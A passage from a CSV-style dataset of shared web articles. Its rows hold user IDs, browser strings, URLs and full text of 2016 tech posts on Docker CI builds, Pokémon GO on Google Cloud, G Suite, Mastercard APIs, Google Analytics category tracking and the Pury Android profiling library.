do on our developer machine. In your build process on the CI server just define a task which executes the above Docker run command. The only little change I would suggest is to use the variables of your CI server, e.g. the build number to define the tag for the image. For e.g. Bamboo this could look like this In this post I have shown how we can use a Docker container to build, test and push an artifact of a project. I really only have scratched the surface of what is possible. We can extend our builder.sh script in many ways to account for much more complex and sophisticated CI processes. As a good sample we can examine the Docker Cloud builder . Using Docker containers to build, test and push artifacts makes our CI process more robust, repeatable and totally side-effect free. It also gives us more autonomy.",en
1475160719,CONTENT SHARED,8240934591713322028,-4627026983118548639,-7042046358770517411,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",IL,US,HTML,http://www.mediapost.com/publications/article/285506/ibm-watson-talking-to-an-ad.html?utm_source=newsletter&utm_medium=email&utm_content=mostread&utm_campaign=96847,IBM Watson: Talking To An Ad,"IBM Watson has become for many a household name, complete with appearances on ""Jeopardy"" -- and in an earlier iteration, the defeat of the chess grandmaster Garry Kasparov. Watson has recently made a foray into consumer marketing, including initial relationships with Campbell's, Unilever, GSK and Toyota. At Interactive Advertising Bureau's MIXX event on Monday, IBM demonstrated Campbell's Watson ad integration with The Weather Channel app, previewing a voice-activated interaction with the user. Jeremy Steinberg, head of sales at IBM subsidiary The Weather Channel, speaks directly into his phone, asking the Campbell's ad to find him a meal with ""chicken and avocado."" After a moment the interactive ad comes back with pictures, a recipe and other options with similar ingredients. Users can also interact with what others are creating in their homes based on the Campbell's ad. ""This one-to-one communication between brands and consumers at scale is what Watson enables marketers to accomplish,"" explained Steinberg. Over time Watson will learn from users, and tailor the meal suggestions to each individual consumer. This, in turn, can help the brand direct its marketing strategies. This controlled beta relationship will last for the next 12 months or so, as IBM develops partnerships with other brands expanding in the CPG space, and enters into retail. Still, Watson won't be evolving into a Hollywood-like sentient being anytime soon, according to the CMO of the Watson Group, Stephen Gold, who got the IBM presentation underway. ""Watson won't love you back,"" said Gold. Watson will, however, jumpstart a new era in digital advertising, where personalized interactions become the norm.",en
1475171859,CONTENT SHARED,174707786647990372,-8020832670974472349,4319478661599559970,Android - Native Mobile App,SP,BR,HTML,https://cloudplatform.googleblog.com/2016/09/bringing-Pokemon-GO-to-life-on-Google-Cloud.html,Bringing Pokémon GO to life on Google Cloud,"Throughout my career as an engineer, I've had a hand in numerous product launches that grew to millions of users. User adoption typically happens gradually over several months, with new features and architectural changes scheduled over relatively long periods of time. Never have I taken part in anything close to the growth that Google Cloud customer Niantic experienced with the launch of Pokémon GO. As a teaser, I'll start with a picture worth a thousand words: Our peers in the technical community have asked about the infrastructure that helped bring Pokémon GO to life for millions of players. Niantic and the Google Cloud teams put together this post to highlight some of the key components powering one of the most popular mobile games to date. A shared fate At our Horizon event today, we'll be introducing Google Customer Reliability Engineering (CRE), a new engagement model in which technical staff from Google integrates with customer teams, creating a shared responsibility for the reliability and success of critical cloud applications. Google CRE's first customer was Niantic, and its first assignment the launch of Pokémon GO - a true test if there ever was one! Within 15 minutes of launching in Australia and New Zealand, player traffic surged well past Niantic's expectations. This was the first indication to Niantic's product and engineering teams that they had something truly special on their hands. Niantic phoned in to Google CRE for reinforcements, in anticipation of the US launch planned the next day. Niantic and Google Cloud - spanning CRE, SRE, development, product, support and executive teams - braced for a flood of new Pokémon Trainers, as Pokémon GO would go on to shatter all prior estimates of player traffic. Creating the Pokémon game world Pokémon GO is a mobile application that uses many services across Google Cloud, but Cloud Datastore became a direct proxy for the game's overall popularity given its role as the game's primary database for capturing the Pokémon game world. The graph opening this blog post tells the story: the teams targeted 1X player traffic, with a worst-case estimate of roughly 5X this target. Pokémon GO's popularity quickly surged player traffic to 50X the initial target, ten times the worst-case estimate. In response, Google CRE seamlessly provisioned extra capacity on behalf of Niantic to stay well ahead of their record-setting growth. Not everything was smooth sailing at launch! When issues emerged around the game's stability, Niantic and Google engineers braved each problem in sequence, working quickly to create and deploy solutions. Google CRE worked hand-in-hand with Niantic to review every part of their architecture, tapping the expertise of core Google Cloud engineers and product managers - all against a backdrop of millions of new players pouring into the game. Pokémon powered by containers Beyond being a global phenomenon, Pokémon GO is one of the most exciting examples of container-based development in the wild. The application logic for the game runs on Google Container Engine (GKE) powered by the open source Kubernetes project . Niantic chose GKE for its ability to orchestrate their container cluster at planetary-scale, freeing its team to focus on deploying live changes for their players. In this way, Niantic used Google Cloud to turn Pokémon GO into a service for millions of players, continuously adapting and improving. One of the more daring technical feats accomplished by Niantic and the Google CRE team was to upgrade to a newer version of GKE that would allow for more than a thousand additional nodes to be added to its container cluster, in preparation for the highly anticipated launch in Japan. Akin to swapping out the plane's engine in-flight, careful measures were taken to avoid disrupting existing players, cutting over to the new version while millions of new players signed up and joined the Pokémon game world. On top of this upgrade, Niantic and Google engineers worked in concert to replace the Network Load Balancer , deploying the newer and more sophisticated HTTP/S Load Balancer in its place. The HTTP/S Load Balancer is a global system tailored for HTTPS traffic, offering far more control, faster connections to users and higher throughput overall - a better fit for the amount and types of traffic Pokémon GO was seeing. The lessons-learned from the US launch - generous capacity provisioning, the architectural swap to the latest version of Container Engine, along with the upgrade to the HTTP/S Load Balancer - paid off when the game launched without incident in Japan, where the number of new users signing up to play tripled the US launch two weeks earlier. Other fun facts The Pokémon GO game world was brought to life using over a dozen services across Google Cloud. Pokémon GO was the largest Kubernetes deployment on Google Container Engine ever. Due to the scale of the cluster and accompanying throughput, a multitude of bugs were identified, fixed and merged into the open source project . To support Pokémon GO's massive player base, Google provisioned many tens of thousands of cores for Niantic's Container Engine cluster. Google's global network helped reduce the overall latency for Pokémon Trainers inhabiting the game's shared world. Game traffic travels Google's private fiber network through most of its transit, delivering reliable, low-latency experiences for players worldwide. Even under the sea ! Niantic's Pokémon GO was an all-hands-on-deck launch that required quick and highly informed decisions across more than a half-dozen teams. The sheer scale and ambition of the game required Niantic to tap architectural and operational best-practices directly from the engineering teams who designed the underlying products. On behalf of the Google CRE team, I can say it was a rare pleasure to be part of such a memorable product launch that created joy for so many people around the world.",en
1475173957,CONTENT SHARED,-9033211547111606164,-1032019229384696495,-8846468239431787994,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.34 Safari/537.36",NY,US,HTML,https://techcrunch.com/2016/09/29/googles-cloud-machine-learning-service-is-now-in-public-beta/,Google's Cloud Machine Learning service is now in public beta,"Google announced a number of updates to its cloud computing services at a small event in San Francisco this morning. These updates touch Google's machine learning services, as well as its database and analytics services, and include an update to how it supports its users. The company's focus today, though, was clearly on machine learning. Google launched the private alpha of its machine learning services a few months ago and today, Google's infrastructure chief Urs Hoelzle announced that Cloud Machine Learning is now available to all businesses as a public beta. The service allows you to train machine learning models and promises that you can train models with terabytes of data within only a few hours. Cloud Machine Learning also now includes two services: the Machine Learning Advanced Solutions Lab that allows Google customers to talk to Google when they run into complex problems, as well as the Cloud Start program that offers workshops for businesses that want to learn about the basics of how they could use machine learning to solve their own problems. Google is also launching a certification program that is based on Google's own internal machine learning programs and that will be taught by Google engineers. It's aimed at Google's partners, businesses and data scientists. The idea here is clearly to democratize access to machine learning services. That's something Google's competitors like Microsoft and Amazon are also trying to do, of course, but few other companies have the kind of reputation for their machine learning smarts as Google currently has. ""If you use Google ML, even in its beta version, it can deliver incredible value,"" Hoelzle said during his keynote this morning. And the company spent much of the morning discussing how its partners like Airbus are using its services to improve their own products already. Google BigQuery, the company's fully managed data warehouse, is also getting an update . Users can now use standard SQL queries to analyze their data, for example. In addition, BigQuery is making it easier for businesses to manage access to their data and Google is launching a new flat-rate pricing model that combines support for unlimited queries with set data storage costs. Besides product updates, though, Google is also now giving its customers better support. The company now gives businesses the option to work with its Customer Reliability Engineering team (a new role in the Cloud Platform group). These Google engineers will work directly with Google's customers ""to share the reliability responsibilities for critical cloud applications."" Google's engineers actually worked with Niantic to support the company when it launched Pokémon GO .",en
1475174899,CONTENT SHARED,8779890754987103603,3609194402293569455,-1256266615792357100,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/09/mastercard-lanca-plataforma-de-apis-abertas-para-solucoes-de-pagamentos/,Mastercard lança plataforma de APIs abertas para soluções de pagamentos - Startupi,"A Mastercard acaba de facilitar ainda mais a vida dos desenvolvedores que trabalham na criação da próxima geração de soluções para o comércio, com o lançamento do Mastercard Developers . Este portal único permite aos parceiros da Mastercard acessar uma diversidade de APIs (interfaces de programação de aplicativos) de pagamentos, dados e segurança. A plataforma também inclui a inédita categoria de APIs ""novas e experimentais"", permitindo que os parceiros testem as novas tecnologias e aplicativos. As APIs experimentais, desenvolvidas pelos oito laboratórios de P&D da empresa ao redor do mundo, ajudarão os parceiros a construir, dar escala e realizar pagamentos usando novas plataformas. Ao mesmo tempo, esses parceiros contarão com uma base para explorar novas modalidades de integração de pagamentos, como realidade aumentada e virtual, e a Internet das Coisas. ""Imaginamos o Mastercard Developers como algo que capacita os nossos clientes, parceiros e seus desenvolvedores para que eles possam inovar e fazer os seus negócios crescerem"", disse Oran Cummins, vice-presidente sênior de APIs da Mastercard. ""A nova plataforma será crucial para integrar as tecnologias e os serviços da Mastercard às soluções digitais desses parceiros de modo fácil e econômico. Com isso, os consumidores terão uma experiência mais simples, rápida e segura."" Os parceiros agora têm acesso a mais de 25 APIs da empresa - incluindo serviços essenciais como o MasterPass e os Mastercard Digital Enablement Services - em um formato que facilita a conexão ou integração com seus serviços. Dentre elas, há uma nova API desenvolvida para maximizar as ações de inclusão financeira. A Mastercard Aid Network (Rede de Ajuda Mastercard) ajuda a simplificar a distribuição de ajuda humanitária, mesmo em locais sem infraestrutura de telecomunicações, ao mesmo tempo em que torna a gestão de ONGs e organizações humanitárias mais transparente. Essa plataforma vai proporcionar uma experiência simplificada, documentação clara e intuitiva para os desenvolvedores com APIs suportadas por kits de desenvolvimento de software (SDKs), ferramentas de desenvolvimento e exemplos de código em seis linguagens de programação. A plataforma está crescendo e no ano passado seu uso já aumentou em 400%. Principais APIs no Mastercard Developers: Pagamento: MasterPass :Serviço de pagamento digital que simplifica a experiência de compras. Os consumidores podem fazer pagamentos com qualquer cartão, em qualquer lugar e com qualquer dispositivo. Serviços de Dados: Media Measurement : Mede o impacto que as campanhas de mídia digital têm nas vendas on-line e offline. Segurança: Experimental: Qkr! com MasterPass : Uma plataforma de pagamentos móveisque permite aos consumidores fazer pedidos e pagar produtos e serviços direto de seus dispositivos móveis. Mastercard Vending : Ajuda a conectar o seu aplicativo celular à plataforma de vendas - com isso os consumidores podem comprar diretamente pelo aplicativo. Inclusão Financeira: Outros serviços serão adicionados ao Mastercard Developers nos próximos meses. Para mais informações sobre a plataforma, acesse o site .",pt
1475182758,CONTENT SHARED,-2424983931459616622,-1387464358334758758,-1286101546346696348,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://gsuiteupdates.googleblog.com/2016/09/all-together-now-introducing-g-suite.html,All Together Now. Introducing G Suite.,"(Cross posted from the Google Cloud blog ) Posted by Kelly Campbell, Senior Director of G Suite Marketing, Google Cloud All around the world, business is filling up with busyness. Employees today are more plugged-in than ever before, but technology too often gets in the way of turning ideas into game changers. For businesses, sharing and communicating has gotten complicated and often happens in silos. The bigger the company, the bigger the challenge. But what if technology lived up to its promise for us at work? What if it helped us cut through the noise so we could work together to focus on what matters? We created Google Apps for Work ten years ago (back when it was Google Apps for Your Domain) to do just that-to help people everywhere work and innovate together, so businesses can move faster and go bigger. And today, we're introducing a new name that better reflects this mission: G Suite . G Suite is a set of intelligent apps-Gmail, Docs, Drive, Calendar, Hangouts, and more-designed to bring people together, with real-time collaboration built in from the start. And there's a lot more on the way . Because we believe that when organizations break down silos, connect people and empower them to work together, we get the speed, agility and impact needed to compete in today's market. So in the spirit of teamwork, we partnered with some of our favorite illustrators from around the world to bring our ideas to life with their iconic creativity. ""All together now"" by Matt Blease ""Great ideas happen outside the office"" by Josh Cochran ""Meet face to face from any place"" by Jean Jullien With G Suite, information can flow freely between devices, apps, people, and teams, so great ideas never get left in the margins again. Imagine the future for your business, if this was how it could be... Special thanks to artists Jean Jullien, Matt Blease, Chris DeLorenzo, Tomi Um, Jan Buchzcik, Josh Cochran, Xarly Rodriguez.",en
1475182809,CONTENT SHARED,6587635730509289343,-1387464358334758758,-1286101546346696348,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://gsuiteupdates.googleblog.com/2016/09/save-time-with-quick-access-in-drive.html,Save time with Quick Access in Drive,"(Cross posted from the Google Drive Blog ) Posted by Cayden Meyer, Product Manager Today, we're launching Quick Access, which shaves 50 percent off the average time it takes to get to the right file by eliminating the need to search for it. It uses machine learning to intelligently predict the files you need before you've even typed anything. Quick Access predictions are based on an understanding of your Drive activity, as well as your interaction with colleagues and your workday patterns such as recurring team meetings or regular reviews of forecasting spreadsheets. Starting today, Quick Access will be available globally for G Suite customers on Android. Give it a try, and file away the time you save for more productive activities. Launch Details Release track: Launching to both Rapid release and Scheduled release Rollout pace: Full rollout (1-3 days for feature visibility) Impact: All end users Action: Change management suggested/FYI More Information Search for your files",en
1475182869,CONTENT SHARED,5211673327552264703,-331066625167168067,7167720501277973581,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",MG,BR,HTML,https://cloudplatform.googleblog.com/2016/09/Google-Cloud-Platform-sets-a-course-for-new-horizons.html,Google Cloud Platform sets a course for new horizons,"As we officially move into the Google Cloud era, Google Cloud Platform (GCP) continues to bring new capabilities to more regions, environments, applications and users than ever before. Our goal remains the same: we want to build the most open cloud for all businesses and make it easy for them to build and run great software. Today, we're announcing new products and services to deliver significant value to our customers. We're also sharing updates to our infrastructure to improve our ability to not only power Google's own billion-user products, such as Gmail and Android, but also to power businesses around the world. Delivering Google Cloud Regions for all We've recently joined the ranks of Google's billion-user products. Google Cloud Platform now serves over one billion end-users through its customers' products and services. To meet this growing demand, we've reached an exciting turning point in our geographic expansion efforts. Today, we announced the locations of eight new Google Cloud Regions - Mumbai, Singapore, Sydney, Northern Virginia, São Paulo, London, Finland and Frankfurt - and there are more regions to be announced next year. By expanding to new regions, we deliver higher performance to customers. In fact, our recent expansion in Oregon resulted in up to 80% improvement in latency for customers. We look forward to welcoming customers to our new Cloud Regions as they become publicly available throughout 2017. Embracing the multi-cloud world Not only do applications running on GCP benefit from state-of-the-art infrastructure, but they also run on the latest and greatest compute platforms. Kubernetes , the open source container management system that we developed and open-sourced, reached version 1.4 earlier this week , and we're actively updating Google Container Engine (GKE) to this new version. GKE customers will be the first to benefit from the latest Kubernetes features, including the ability to monitor cluster add-ons, one-click cluster spin-up, improved security, integration with Cluster Federation and support for the new Google Container-VM image (GCI) . Kubernetes 1.4 improves Cluster Federation to support straightforward deployment across multiple clusters and multiple clouds. In our support of this feature, GKE customers will be able to build applications that can easily span multiple clouds, whether they are on-prem, on a different public cloud vendor, or a hybrid of both. We want GCP to be the best place to run your workloads, and Kubernetes is helping customers make the transition. That's why customers such as Philips Lighting have migrated their most critical workloads to run on GKE. Accelerating the move to cloud data warehousing and machine learning Cloud infrastructure exists in the service of applications and data. Data analytics is critical to businesses, and the need to store and analyze data from a growing number of data sources has grown exponentially. Data analytics is also at the foundation for the next wave in business intelligence - machine learning. The same principles of data analytics and machine learning apply to large-scale businesses: to derive business intelligence from your data, you need access to multiple data sources and the ability to seamlessly process it. That's why GKE usage doubles every 90 days and is a natural fit for many businesses. Now, we're introducing new updates to our data analytics and machine learning portfolio that help address this need: Google BigQuery , our fully managed data warehouse, has been significantly upgraded to enable widespread adoption of cloud data analytics. BigQuery support for Standard SQL is now generally available, and we've added new features that improve compatibility with more data tools than ever and foster deeper collaboration across your organization with simplified query sharing. We also integrated Identity and Access Management (IAM) that allows businesses to fine-tune their security policies. And to make it accessible for any business to use BigQuery, we now offer unlimited flat-rate pricing that pairs unlimited queries with predictable data storage costs. Cloud Machine Learning is now available to all businesses. Integrated with our data analytics and storage cloud services such as Google BigQuery , Google Cloud Dataflow , and Google Cloud Storage , it helps enable businesses to easily train quality machine learning models on their own data at a faster rate. ""Seeing is believing"" with machine learning, so we're rolling out dedicated educational and certification programs to help more customers learn about the benefits of machine learning for their organization and give them the tools to put it into use. To learn more about how to manage data across all of GCP, check out our new Data Lifecycle on GCP paper . Introducing a new engagement model for customer support At Google, we understand that the overall reliability and operational health of a customer's application is a shared responsibility. Today, we're announcing a new role on the GCP team: Customer Reliability Engineering (CRE). Designed to deepen our partnership with customers, CRE is comprised of Google engineers who integrate with a customer's operations teams to share the reliability responsibilities for critical cloud applications. This integration represents a new model in which we share and apply our nearly two decades of expertise in cloud computing as an embedded part of a customer's organization. We'll have more to share about this soon. One of the CRE model's first tests was joining Niantic as they launched Pokémon GO , scaling to serve millions of users around the world in a span of a few days. The public cloud is built on customer trust, and we understand that it's a significant commitment for a customer to entrust a public cloud vendor with their physical infrastructure. By offering new features to help address customer needs and collaborating with them to usher in the future with tools like machine learning, we intend to accelerate the usability of the public cloud and bring more businesses into the Google Cloud fold. Thanks for joining us as we embark toward this new horizon.",en
1475182870,CONTENT SHARED,886450434856305025,-1387464358334758758,-1286101546346696348,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://gsuiteupdates.googleblog.com/2016/09/new-early-adopter-programs-team-drives.html,New Early Adopter Programs: Team Drives and a new Hangouts video meetings experience,"Along with our new name , today we're announcing a number of new features to help employees work together as teams on strategic and creative projects to better serve their customers. Two of these features are coming soon as Early Adopter Programs: Drive for teams When Google Drive launched in 2012 , bringing all of your work to all of your devices was a key focus. Today, with Drive installed on more than one billion smartphones, mobility is a given. As businesses have adopted Google Drive, a new focus has emerged: teams. Teams move fast, they grow, they shrink, they're rebuilt. In order to keep pace, a new capability called Team Drives redefines the model, shifting from a focus on the individual user to a focus on the team. Content ownership and sharing are managed at the team level, and new roles give more granular control over team content. Team Drives help streamline teamwork from end-to-end, from onboarding a new team member (add her to the team and she instantly has access to all of the work in one place) to offboarding a departing team member (remove him from the team and all of his work stays right in place), and everything in-between. We've been previewing Team Drives with a small set of customers, and we'll be extending this capability to more customers through an Early Adopter Program . Meetings for teams Teams extend beyond office walls - spanning countries and companies - and video meetings have become critical to bringing teams together. No matter where you're sitting or even when you're on the go, you expect to be plugged in so you never have to worry about missing a thing. A new meeting experience for Google Hangouts makes this exceedingly easy: no downloads, no browser plugins, invite anyone, join from any device, even without an account or a data connection. Every meeting generates a short link and dial-in phone number so you can invite anyone without friction. An updated user interface accommodates up to 50 video participants, and with seamless integration into Calendar and instant screen sharing, your team will be better connected than it ever was before. Like Team Drives, we've been previewing this new meeting experience with a small set of customers and we'll be extending this to more customers through an Early Adopter Program . Provide your information here to learn more about these Early Adopter Programs when they launch. Note: all launches are applicable to all G Suite editions unless otherwise noted Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1475182961,CONTENT SHARED,-3061741807736367554,-1387464358334758758,-1286101546346696348,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://gsuiteupdates.googleblog.com/2016/09/explore-in-docs-sheets-and-slides-makes.html,"Explore in Docs, Sheets and Slides makes work a breeze - and makes you look good, too","(Cross-posted from the Google Docs Blog ) We built Google Docs to help you create your best work - from work, school or home, and everywhere in between. We know crafting presentations, projects and reports takes time and energy. That's why today we're introducing Explore in Docs , Sheets and Slides to bring you insights, design tools and research recommendations so you can create better work, faster. Explore uses Google smarts to help you create amazing presentations, spreadsheets and documents in a fraction of the time they used to take...so you can get on with what's most important in your life. It's like having a researcher, analyst and designer by your side. Insights, instantly Today's updates to Explore in Sheets help you decipher your data easily, whether you're new to spreadsheets or a formula pro. Just ask Explore - with words, not formulas - to get answers about your data. You can ask questions like ""how many units were sold on Black Friday?,"" ""what are the top three items by sales price?,"" or ""what was the total cost of jackets last month?"" Less time crunching numbers + crafting formulas = more time to find key insights and use them. We've also added new formatting suggestions to help make your data pop. Explore in Sheets is available on the web, Android and now on iOS , too! Beauty, baked in Crafting the perfect pitch deck or sharing your team's story is hard enough without having to make it look great, too. Explore in Slides makes design polishing simple. As you work, Explore dynamically generates design suggestions , based on the content of your slide. Simply pick a recommendation and apply it with a single click - no cropping, resizing or reformatting required. We've seen that people save over 30% of the time they would have spent on formatting when they use Explore. So even if design isn't your style, rest assured you'll have a beautiful presentation to be proud of. Instantly. Research, made simple Explore in Docs makes researching and writing reports on the go a whole lot easier. Whether you're writing about mobile retail trends or planning your next team offsite, you'll get instant suggestions based on the content in your document. We'll automatically recommend related topics to learn about, images to insert and more content to check out in Docs on your Android , iPhone or the web. We know that it's helpful to refer to other content when writing an analysis, summary or proposal. That's why we've also made it easy to find a related document from Drive or search Google, right in Explore. Less time spent switching between apps more time to polish your ideas. We designed Explore in Docs , Sheets and Slides to make creating and working easy and most of all, fast - all backed by the power of Google. Let Explore save you time so you can focus on what matters most. Posted by Ritcha Ranjan, Product Manager Launch Details Release track: Mobile features: Launching to both Rapid release and Scheduled release Web features: Launching to Rapid release, with Scheduled release coming in two weeks Rollout pace: Gradual rollout (potentially longer than 3 days for feature visibility) Action: Change management suggested/FYI More Information Help Center: See and use suggested content in a document Help Center: See and use suggested charts and analysis in a spreadsheet Help Center: See and use suggested layouts in a presentation Note: all launches are applicable to all Google Apps editions unless otherwise noted Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1475236152,CONTENT SHARED,348632682812866328,361614354650880527,-9172755191810167690,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",MG,BR,HTML,https://www.e-nor.com/blog/google-analytics/tracking-multiple-categories-in-google-analytics-for-content-pages,Tracking Multiple Categories in Google Analytics for Content Pages - E-Nor | Google Analytics Blog,"In an earlier blog post I covered how to measure user behavior and segmenting content for publishers on Accelerated Mobile Pages . Ever since the post, we were asked many times on how to track articles that are associated with multiple tags and categories in Google Analytics. Unfortunately, the solutions that I see circulating in the Internet suggest that if an article or a content page is associated with multiple categories, a single custom dimension should be fired with the content pageview. And all categories that are associated with the page will be concatenated and separated with a delimited (for example: holidays-mothers_day-craft-gifts) and then get sent as a one string. If we look at the sample report above, you will see an obvious readability and usability issues about this solution: This report shows us how pages with multiple tags perform, but it is very hard to analyze the performance of each category by itself. For category analysis, you will need to export the data outside GA (ex. Excel sheet), clean all entries, and then look at categories and their corresponding pages. Since i'm a big fan of constructing solutions that provide reporting and ease of analysis within the GA interface, where possible, and since the purpose of this exercise is to analyze page categories, we need a solution that is category-centric where page categories can be tracked independently from the pages that they are associated with but also associate with their corresponding pages as needed in reporting. (For a multi-tag analysis in BigQuery, see Big Data for Publishers by Hazem Mahsoub.) Suggested Solution: Create a custom dimension to track each page category by itself and a create custom metric to track how often each individual category is viewed. we will need to loop through each item in the categories array and fire an event for each item along with the ""category"" custom dimension and ""Category Views"" custom metric. This will empower analysts to look at categories at the aggregate level as well as in a granular level. Step 1: Configure Google Analytics Set up a Custom Dimension: Click on New Custom Dimension Name the Custom Dimension as ""Category"" Set the ""Scope"" as ""Hit"". Save the Custom Dimension by clicking ""Create"". Set up a Custom Metric: Name the new Custom Metric ""Category Views"". Leave the ""Scope"" dropdown as ""Hit"". Set ""Formatting Type"" as ""Integer"". Save the Custom Metric by clicking ""Create"". Step 2: Configure the Google Analytics code to read the article categories and send them with an event hit that is sent when users browse the content page. Note: Since multiple tags are associated with our articles, The ""Category"" custom dimension and the ""Category views"" custom metric will be fired with an event for every category in the page (loop through each item in the tags array). Sample code for tracking categories Note #1: Modifying page URLs Many publishers and content websites use Single Page Applications to deliver much faster-loading content without requiring a full-page load. In these cases usually the page URL you want to send to GA and associated with all Event hits is different from the URL that appears in the browser's address bar. We want to make sure every Custom Dimension, Custom Metric and Event hit get sent with the correct page URL. In the above sample code, we updated the page field on the tracker instead of passing it in the send command. Setting it on the tracker will ensure the page URL is used for all subsequent hits. Note #2: Non-Interaction Events In GA a bounce is defined as a session with a single interaction hit. Event hits are by default considered an interaction hit, which means that it is included in bounce rate calculations. In our code, we set the value of the final boolean parameter ""nonInteraction"" to true to make the sent events non interaction hits in order not to impact the bounce rate calculations. Now our sessions that contain a single page view with non-interaction events fired for category tracking will be treated as bounce sessions as normal. Note #3: Google Tag Manager If you're using Google Tag Manager for Google Analytics deployment, follow the following instructions: Step 3: View Stats in Google Analytics Now that we have everything sent to GA, it's time to view our data and see how our articles' categories are performing. Since custom dimensions don't appear in standard reports as a primary dimension, create a simple custom report with the ""Category"" dimension and the ""Category Views"" metric. Finally: Measure and optimize In our example that we used in this post, Better Homes and Gardens website offers extensive information on decorating, building and remodeling, crafts, entertaining, cooking, and gardening. If crafts pages, for example, are generating high time on page and more user engagement (ex. social shares, comments, paid subscriptions, purchases...), business owners may consider investing more writing resources towards additional crafts ideas. And if cooking articles are leading to high bounce rate, high exit rate, and low average time on page, resources may get shifted to write on other more engaging topics. It is important for analysts to keep in mind and before taking any drastic actions to drill into individual pages within the category to determine which specific articles are well performing or underperforming for the topic in question. Looking at aggregate numbers of the categories performance is just one step of many that we should take before we make any site optimization actions. Happy Analyzing!",en
1475241069,CONTENT SHARED,3128282567747885251,-1836083230511905974,533492370211615775,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",MG,BR,HTML,https://medium.com/@nikita.kozlov/pury-new-way-to-profile-your-android-application-7e248b5f615e,Pury - New Way to Profile Your Android Application,"Applications are all about helping users to do what they need to, while providing best User Experience possible. Significant part of it is performance. Sometimes in the name of efficiency developers are writing low quality code that is difficult to support and maintain, without necessarily achieving positive results. In this regards I would like to quote Michael A. Jackson: ""The First Rule of Program Optimisation: Don't do it. The Second Rule of Program Optimisation (for experts only!): Don't do it yet."" Before starting any optimisation we need to identify the problem. As a first step we should collect general data about application performance. For example, time from startActivity() call until data is displayed on the new screen. Or time it takes to load next page of content for a RecyclerView. Comparing this information with acceptable thresholds can tell us if there is a problem. In case something takes longer then expected, we can check more deeply and identify method or API call that caused the issue. Luckily for us, there are some tools for profiling Android applications: Hugo  - library that provides annotation-triggered method call logging. You need to annotate your method with @DebugLog , and it will log arguments, return values, and the time it took to execute. I like it, but it is limited to a single method call, so you can't measure time it takes from opening Activity till displaying content. Android Studio toolset, for example System Trace, is very precise and provides a lot of information. But you need to spend a significant amount of time to collect and analyze the data. Backend solutions, for example JMeter . They have a lot of functionality, but it takes lots of efforts and time, first, to learn and, second, to use them. And after all, how often do you need to profile an application under heavy concurrent load? It doesn't look like a common case in Android Development. Missing tool If you take a closer look into questions we are asking about speed of our applications, most of them can be separated into two blocks: Execution time for a particular method or API call. This can be covered by Hugo, for example. Time between two different events, that could happened in independent pieces of the code, but connected in terms of logic. Android Studio toolset can cover this topic, but, as already mentioned, you need to spend significant amount of time to profile. While I was checking available profiling tools and trying to imagine all the possible cases, I realised that at least one tool is missing. So I came up with following requirements for it: Start and stop profiling should be triggered with two independent events, that will allow us to be as flexible as it needs. If we want to monitor application performance, then having just start and stop events is not enough. Sometimes we want to know more about what happens in between. Information about all intermediate stages should be united into one big report. That will allow us to easier understand and share the data. Sometimes we have scenarios that repeats frequently, for example, loading next page of content for a RecyclerView. Then one round of profiling is not enough, having statistical data, like average, minimal and maximal times, can give us more insights. That is why I created Pury . Introduction to Pury Pury is a profiling library for measuring time between multiple independent events. Events can be triggered with one of the annotations or with a method call. All events for a single scenario are united into one report. Output for launching an example application: As you can see, Pury measured time for launching the application, including intermediate stages, like loading data on splash screen and activity's lifecycle methods. For each stage start and stop timestamps are displayed and so as execution time. Apart from the normal profiling, it could be useful for performance monitoring, to be sure that some changes don't introduce an unexpected latency. Output for a screen with pagination: In this example, as you can see, Pury collected information about loading next page 5 times and then took the average. For each stage start timestamp and execution time are displayed. Inner structure and limitations Before diving into the documentation, I would like to make a small introduction to Pury's inner structure and limitations. It will help to understand methods' arguments and error messages. Performance measurements are done by Profilers. Each Profiler contains a list of Runs . Multiple Profilers can work in parallel, but only a single Run per each Profiler can be active. Once all Runs in a single Profiler are finished, result is reported. Amount of runs defines by runsCounter parameter. Run has a root Stage inside. Each Stage has a name, an order number and an arbitrary amount of nested Stages . Stage can have only one active nested Stage . If you stop a parent Stage, then all nested Stages are also stopped. Profiling with Pury As already mentioned, Pury measures time between multiple independent events. Events can be triggered with one of the annotations or with a method call. There are three base annotations: 1. StartProfiling  - triggers an event to start S tage or Run . Profiling will start before method execution. StartProfiling can accept up to 5 arguments: profilerName -  name of the profiler is displayed in the result. Along with runsCounter identifies the Profiler. runsCounter -  amount of runs for Profiler to wait for. Result is available only after all runs are stopped. stageName  - identifies a stage to start. Name is displayed in the result. stageOrder -  stage order reflects the hierarchy of stages. In order to start a new stage, it must be bigger then order of current most nested active stage. Stage order is a subject to one more limitation: first start event must have order number equal zero. enabled -  if set to false, an annotation is skipped. I want to emphasise one fact. Profiler is identified by combination of profilerName and runsCounter. So if you are using same profilerName , but different runsCounter, then you will get two separate results, instead of a combined one. 2. StopProfiling  - triggers an event to stop S tage or Run . Profiling is stopped after method execution. Once S tage or Run is stopped, all nested stages are also 